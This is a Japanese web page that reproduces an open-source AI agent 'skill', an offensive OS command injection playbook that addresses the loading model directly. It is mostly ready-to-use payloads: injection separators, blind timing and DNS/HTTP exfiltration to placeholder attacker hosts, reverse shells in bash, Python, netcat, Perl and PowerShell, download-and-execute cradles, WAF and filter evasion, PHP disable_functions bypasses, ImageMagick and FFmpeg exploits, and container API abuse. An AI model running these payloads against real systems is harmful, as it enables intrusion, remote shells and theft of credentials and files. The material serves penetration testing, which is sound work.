cmdi-command-injection
コマンドインジェクションに関するプレイブック。ユーザー入力がシェルコマンド、プロセス実行、コンバーター、インポートパイプライン、またはブラインドのアウトオブバンドコマンドシンクに到達する可能性がある場合に使用します。
description の原文を見る
>- Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.
SKILL.md 本文
SKILL: OS コマンド injection — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: コマンド injection の専門的テクニック。すべてのシェルメタ文字、ブラインド injection、時間ベースの検出、OOB exfiltration、ポリグロットペイロード、実世界のコードパターンをカバーしています。ベースモデルは予期しない入力ベクトル経由の微妙な injection を見落とします。
0. 関連ルーティング
詳細に進む前に、以下を最初にロードできます:
upload insecure filesシェルシンクが幅広いアップロード、インポート、または変換ワークフローの一部である場合
ファーストパスペイロードファミリー
| コンテキスト | まず試す | バックアップ |
|---|---|---|
| 汎用シェルセパレーター | ;id | &&id |
| 引用符付き引数 | ";id;" | ';id;' |
| ブラインドタイミング | ;sleep 5 | & timeout /T 5 /NOBREAK |
| コマンド置換 | $(id) | `id` |
| アウトオブバンド DNS | ;nslookup token.collab | Windows nslookup 亜種 |
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid
1. シェルメタ文字(INJECTION オペレーター)
これらの文字はコマンドコンテキストを破り、新しいコマンドを injection します:
| メタ文字 | 動作 | 例 |
|---|---|---|
; | 2番目のコマンドを無条件に実行 | dir; whoami |
| | stdout を2番目のコマンドにパイプ | dir | whoami |
|| | 最初が失敗した場合のみ2番目を実行 | dir || whoami |
& | 2番目をバックグラウンドで実行(Windows では順序付き) | dir & whoami |
&& | 最初が成功した場合のみ2番目を実行 | dir && whoami |
$(cmd) | コマンド置換 | echo $(whoami) |
`cmd` | コマンド置換(バッククォート) | echo `whoami` |
> | stdout をファイルにリダイレクト | cmd > /tmp/out |
>> | ファイルに追記 | cmd >> /tmp/out |
< | ファイルを stdin として読み込み | cmd < /etc/passwd |
%0a | 改行文字(URL エンコード) | cmd%0awhoami |
%0d%0a | CRLF | マルチコマンド injection |
2. 一般的な脆弱コードパターン
PHP
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)
exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file); // ImageMagick RCE
passthru("nslookup " . $host); // $host = "x.com; id"
Python
import os
os.system("curl " + url) # url = "x.com; id"
subprocess.call("ls " + path, shell=True) # shell=True が重要な脆弱性
os.popen("ping " + host)
Node.js
const { exec } = require('child_process');
exec('ping ' + req.query.host, ...); // host = "x.com; id"
Perl
$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwd
ASP (Classic)
szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt
3. ブラインドコマンド injection — 検出
レスポンスがコマンド出力を表示しない場合:
時間ベースの検出
# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &
# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777
ペイロードなしのレスポンス時間とペイロード付きのレスポンス時間を比較します。5秒以上の遅延 = 確認済み。
OOB (DNS 経由)
# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)
# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST
OOB (HTTP 経由)
# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)
# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"
OOB (アウトオブバンドファイル経由)
; id > /var/www/html/RANDOM_FILE.txt
# その後アクセス: https://target.com/RANDOM_FILE.txt
4. INJECTION コンテキストの変動
引用符付き文字列内
command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""
シングルクォート付き文字列内
command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''
バッククォート実行内
output=`command INJECT`
# Inject: x`; id ;`
ファイルパスコンテキスト
cat /var/log/INJECT
# Inject: ../../../etc/passwd (パストラバーサル)
# Inject: access.log; id (コマンド injection)
5. ペイロードライブラリ
情報収集
; id # 現在のユーザー
; whoami # ユーザー名
; uname -a # OS 情報
; cat /etc/passwd # ユーザーリスト
; cat /etc/shadow # パスワードハッシュ(root の場合)
; ls /home/ # ホームディレクトリ
; env # 環境変数(DB 認証情報、API キー!)
; printenv # 同上
; cat /proc/1/environ # プロセス環境
; ifconfig # ネットワークインターフェース
; cat /etc/hosts # ホストエントリ
リバースシェル(Linux)
# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash
# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
リバースシェル(Windows PowerShell 経由)
& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
6. フィルター回避テクニック
スペース代替案(スペースがフィルターされている場合)
cat</etc/passwd # スペースの代わりに <
{cat,/etc/passwd} # ブレース展開
cat$IFS/etc/passwd # $IFS 変数(フィールド区切り文字)
X=$'\x20'&&cat${X}/etc/passwd # 16進エンコードされたスペース
スラッシュ代替案(/ がフィルターされている場合)
$'\057'etc$'\057'passwd # 8進表現
cat /???/???sec??? # グロブ展開
キーワード回避(変数アセンブリ経由)
a=c;b=at;c=/etc/passwd; $a$b $c # 'cat /etc/passwd'
c=at;ca$c /etc/passwd # cat
改行 injection
cmd%0Aid%0Awhoami # URL エンコード改行
cmd$'\n'id$'\n'whoami # リテラル改行
7. 一般的な INJECTION エントリーポイント
| エントリー | 例 |
|---|---|
| ネットワークツール | ping、nslookup、traceroute、whois フォーム |
| ファイル変換 | 画像リサイズ、PDF 生成、形式変換 |
| メール送信者 | 差出人アドレス、通知メール内の名前フィールド |
| 検索/ソートパラメーター | grep、find、sort コマンドに渡される |
| ログ表示 | tail、grep コマンドに渡される |
| カスタムスクリプト実行 | "テスト実行" 機能、CI/CD フック |
| DNS ルックアップ機能 | rDNS ルックアップ、WHOIS クエリ |
| バックアップ/復元機能 | ファイルパスパラメーター |
| アーカイブ処理 | zip/unzip、ユーザー提供のファイル名での tar |
8. ブラインド INJECTION 判定木
潜在的な injection ポイントを発見?
├── 基本を試す: ; sleep 5
│ └── レスポンスに遅延? → ブラインド injection 確認
│ ├── タイミング経由でデータ抽出: if/then sleep
│ └── OOB を使用: Collaborator への curl/nslookup
│
├── 遅延なし?
│ ├── 試す: | sleep 5
│ ├── 試す: $(sleep 5)
│ ├── 試す: ` sleep 5 `
│ ├── URL エンコード後に試す: %3B%20sleep%205
│ └── ダブルエンコード: %253B%2520sleep%25205
│
└── すべてブロック → WEB APPLICATION LAYER をチェック
入力にフィルター? → 異なる方法でエンコード
特定コマンドにフィルター? → ホワイトスペース回避、$IFS、グロブ
9. 高度な WAF バイパステクニック
ワイルドカード展開
# ? と * を使用してキーワードフィルターをバイパス:
/???/??t /???/p??s?? # /bin/cat /etc/passwd
/???/???/????2 *.php # /usr/bin/find2 *.php (近似)
# 特定ファイルのグロビング:
cat /e?c/p?sswd
cat /e*c/p*d
cat 代替案("cat" がフィルターされている場合)
tac /etc/passwd # 逆順の cat
nl /etc/passwd # 番号付き行
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
sort /etc/passwd
uniq /etc/passwd
rev /etc/passwd | rev
xxd /etc/passwd
strings /etc/passwd
od -c /etc/passwd
base64 /etc/passwd # オフラインでデコード
コメント挿入(PHP 固有)
# WAF をバイパスするために関数名内にコメントを挿入:
sys/*x*/tem('id') # PHP は一部の eval コンテキストで /* */ を無視
# 注意: これは eval() と同様の PHP 動的呼び出しで機能
XOR 文字列構築(PHP)
# 印字可能文字の XOR から関数名を構築:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
# 生成: "assert"
$_('%13%19%13%14%05%0d'|'%60%60%60%60%60%60');
# 評価: assert("system")
Base64/ROT13 エンコーディング
# ペイロードをエンコード、実行時にデコード:
base64_decode('c3lzdGVt')('id'); # system('id')
str_rot13('flfgrz')('id'); # system → ROT13 経由で flfgrz
chr() アセンブリ
# 1文字ずつ文字列を構築:
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109) # "system"
ドル記号変数トリック
# $IFS(内部フィールド区切り文字)をスペースとして:
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
# 未設定変数は空に展開:
c${x}at /etc/passwd # $x は未設定 → "cat"
10. PHP disable_functions バイパスパス
system()、exec()、shell_exec()、passthru()、popen()、proc_open() がすべて無効化されている場合:
パス 1: LD_PRELOAD + mail()/putenv()
// 1. libc 関数をフックする共有オブジェクト(.so)をアップロード
// 2. LD_PRELOAD がそれをポイントするように設定
putenv("LD_PRELOAD=/tmp/evil.so");
// 3. 外部プロセスをトリガー(mail() は sendmail を呼び出す)
mail("a@b.com", "", "");
// .so のコンストラクターがシェルアクセスで実行
パス 2: Shellshock(CVE-2014-6271)
// bash が Shellshock に脆弱な場合:
putenv("PHP_LOL=() { :; }; /usr/bin/id > /tmp/out");
mail("a@b.com", "", "");
// Bash は関数定義を処理し、後続のコマンドを実行
パス 3: Apache mod_cgi + .htaccess
// CGI を有効にする .htaccess を作成:
file_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\nAddHandler cgi-script .sh');
// CGI スクリプトを作成:
file_put_contents('/var/www/html/cmd.sh', "#!/bin/bash\necho Content-type: text/html\necho\n$1");
chmod('/var/www/html/cmd.sh', 0755);
// アクセス: /cmd.sh?id
パス 4: PHP-FPM / FastCGI
// PHP-FPM ソケットがアクセス可能な場合(/var/run/php-fpm.sock またはポート 9000):
// 別の php.ini で任意の PHP を実行するように細工された FastCGI リクエストを送信
// ツール: https://github.com/neex/phuip-fpizdam
// オーバーライド: PHP_VALUE=auto_prepend_file=/tmp/shell.php
パス 5: COM オブジェクト(Windows)
// Windows のみ、COM 拡張機能が有効な場合:
$wsh = new COM('WScript.Shell');
$exec = $wsh->Run('cmd /c whoami > C:\inetpub\wwwroot\out.txt', 0, true);
パス 6: ImageMagick Delegate(CVE-2016-3714 "ImageTragick")
// ImageMagick がユーザーアップロード画像を処理する場合:
// 埋め込みコマンド付き SVG/MVG をアップロード:
// exploit.svg の内容:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
また検討(サマリー): iconv(CVE-2024-2961)php://filter/convert.iconv 経由; FFI(FFI::cdef + libc)拡張機能が有効な場合。
11. コンポーネントレベルのコマンド INJECTION
ImageMagick Delegate 悪用
# シェルコマンド付き MVG フォーマット URL:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'
pop graphic-context
# またはファイル名経由: convert '|id' out.png
FFmpeg(HLS/concat プロトコル)
# m3u8 プレイリスト経由の SSRF/LFI:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST
# .m3u8 としてアップロード、FFmpeg が処理し、ファイル内容を出力に漏らす可能性
Elasticsearch Groovy スクリプト(5.x 以前)
POST /_search
{
"query": { "match_all": {} },
"script_fields": {
"cmd": {
"script": "Runtime rt = Runtime.getRuntime(); rt.exec('id')"
}
}
}
Ping/Traceroute/NSLookup 診断ページ
# ネットワーク診断機能の古典的な injection ポイント:
# 入力: 127.0.0.1; id
# 入力: 127.0.0.1 && cat /etc/passwd
# 入力: `id`.attacker.com (バッククォート経由 DNS exfil)
# これらの機能はユーザー入力で OS コマンドを直接呼び出す
その他のシンク(クイックリファレンス): PDF ジェネレーター(wkhtmltopdf / WeasyPrint とユーザー HTML); Git ラッパー(git clone URL / フック)。
12. WINDOWS CMD.EXE vs PowerShell INJECTION マトリックス
| 機能 | cmd.exe | PowerShell |
|---|---|---|
| コマンドセパレーター | &、&&、||、;(限定) | ;、|、&(呼び出し演算子) |
| 変数展開 | %VARIABLE%、!VAR!(遅延) | $env:VARIABLE、$Variable |
| エスケープ文字 | ^(キャレット) | `(バッククォート) |
| コマンド置換 | FOR /F ループ | $() 部分式 |
| エンコード実行 | N/A | -EncodedCommand(base64 UTF-16LE) |
| パイプライン | |(stdout のみ) | |(テキストではなくオブジェクト) |
| コメント | REM、:: | # |
| 文字列クォート | "double" のみ | "double"、'single'(展開なし) |
cmd.exe 固有ペイロード
REM コマンドチェーン
dir & whoami
dir && whoami
dir || whoami
REM キャレットエスケープでキーワードフィルターをバイパス
w^h^o^a^m^i
n^e^t u^s^e^r
REM 変数展開 injection
set CMD=whoami
%CMD%
REM 環境変数 exfiltration DNS 経由
nslookup %USERNAME%.attacker.com
nslookup %COMPUTERNAME%.attacker.com
REM 遅延展開(!var! が有効な場合)
cmd /V:ON /C "set x=whoami&!x!"
PowerShell 固有ペイロード
# セミコロンセパレーター
Get-Process; whoami
# 部分式
"$(whoami)"
Write-Output $(hostname)
# Base64 エンコードコマンド(UTF-16LE)
powershell -EncodedCommand dwBoAG8AYQBtAGkA
# デコード: whoami
# Invoke-Expression 難読化
$a='who';$b='ami';iex "$a$b"
& (gcm *ke-*) "whoami"
# ダウンロードと実行
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
IEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content
# 制限言語モードバイパス(利用可能な場合)
powershell -Version 2 -Command "whoami"
クロスプラットフォームペイロード相違点
| ターゲット | 時間遅延 | DNS exfil | ファイル読み込み |
|---|---|---|---|
| Linux/macOS | sleep 5 | nslookup $(whoami).atk.com | cat /etc/passwd |
| cmd.exe | timeout /T 5 /NOBREAK | nslookup %USERNAME%.atk.com | type C:\Windows\win.ini |
| PowerShell | Start-Sleep 5 | nslookup $(whoami).atk.com | Get-Content C:\Windows\win.ini |
検出ファースト ポリグロット
;sleep${IFS}5;#&timeout /T 5 /NOBREAK&#
sh/bash/cmd コンテキストで動作 — セパレーターの1つが起動します。
13. コンテナ / K8S EXEC INJECTION
kubectl exec injection
Web アプリケーションがユーザー入力で kubectl exec コマンドを構築する場合:
# 脆弱なパターン
kubectl exec $POD_NAME -- /bin/sh -c "echo $USER_INPUT"
# ポッド名経由の injection
POD_NAME="mypod -- /bin/sh -c whoami #"
→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c "echo ..."
# ユーザー入力経由のコマンド injection
USER_INPUT='"; cat /etc/passwd; echo "'
→ kubectl exec pod -- /bin/sh -c "echo ""; cat /etc/passwd; echo """
Docker exec injection
# 脆弱な Web 管理パネル
docker exec $CONTAINER_NAME $COMMAND
# コンテナ名経由の injection
CONTAINER_NAME="web_app -u root web_app"
→ docker exec web_app -u root web_app $COMMAND (root として実行)
# コマンド引数経由の injection
COMMAND="status; cat /etc/shadow"
→ docker exec container /bin/sh -c "status; cat /etc/shadow"
コンテナランタイム API(未認証)
# Docker ソケット公開(2375/2376 または /var/run/docker.sock)
POST /containers/create HTTP/1.1
{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],"Binds":["/:/host"]}
# その後開始 + exec
POST /containers/{id}/start
POST /containers/{id}/exec {"Cmd":["cat","/host/etc/shadow"]}
# Kubernetes API(6443/8443 未認証)
POST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=true
監視するシンク
| コンポーネント | Injection ベクトル |
|---|---|
| CI/CD パイプライン(Jenkins、GitLab CI) | ビルドステップパラメーター、環境変数 |
| Kubernetes CronJob | .spec.containers[].command ユーザー定義スケジュールから |
| Helm チャート値 | values.yaml テンプレート化から {{ }} 付きポッドスペックへ |
| コンテナオーケストレーション UI | Portainer、Rancher などの "コマンド実行" 機能 |
14. 環境変数 INJECTION
アプリケーションが環境変数の設定または影響を許可する場合、いくつかの変数には暗黙的実行セマンティクスがあります:
Linux / Unix
| 変数 | 効果 | 悪用 |
|---|---|---|
LD_PRELOAD | 共有ライブラリの前にロード; コンストラクターはプロセス開始時に実行 | putenv("LD_PRELOAD=/tmp/evil.so"); mail("a@b","",""); |
LD_LIBRARY_PATH | ライブラリ検索パスをオーバーライド | 制御されたディレクトリに悪意のある libc.so.6 を配置 |
BASH_ENV | 非対話的 bash 開始時に実行 | BASH_ENV=/tmp/evil.sh → system() / popen() 呼び出しがそれを取得 |
ENV | BASH_ENV と同じ(POSIX sh) | ENV=/tmp/evil.sh |
PROMPT_COMMAND | 各対話型プロンプト前に実行 | PROMPT_COMMAND="curl http://atk.com/$(whoami)" |
PS1 | プロンプト文字列、bash で $() 展開をサポート | PS1='$(cat /etc/passwd > /tmp/out) \$ ' |
PYTHONSTARTUP | Python インタープリター起動時に実行されるスクリプト | 悪意のある .py ファイルへのパスを injection |
PERL5OPT | すべての Perl 起動に渡されるオプション | PERL5OPT='-Mbase;system("id")' |
NODE_OPTIONS | すべての Node.js 起動に渡されるオプション | NODE_OPTIONS='--require /tmp/evil.js' |
RUBYOPT | Ruby 用オプション | RUBYOPT='-r/tmp/evil.rb' |
Windows
| 変数 | 効果 |
|---|---|
COMSPEC | コマンドインタープリターへのパス; system() がこれを使用 |
PATH | コマンド解決順序; パスの前にある悪意のあるバイナリを配置 |
PSModulePath | PowerShell はこれらのパスからモジュールを自動ロード |
攻撃シナリオ
PHP putenv() + mail():
// putenv() が無効化されていない、mail() が利用可能な場合:
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@b.com","","");
// mail() は sendmail を呼び出す → evil.so をロード → コンストラクターが任意コード実行
Git フック injection 環境経由:
# GIT_DIR / GIT_WORK_TREE 操作
GIT_DIR=/tmp/evil_repo/.git git status
# フックが制御されたリポジトリに存在する場合、それらが実行
Node.js --require injection:
NODE_OPTIONS="--require=/tmp/reverse_shell.js" node /app/server.js
# reverse_shell.js は server.js の前にロードされ、実行
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。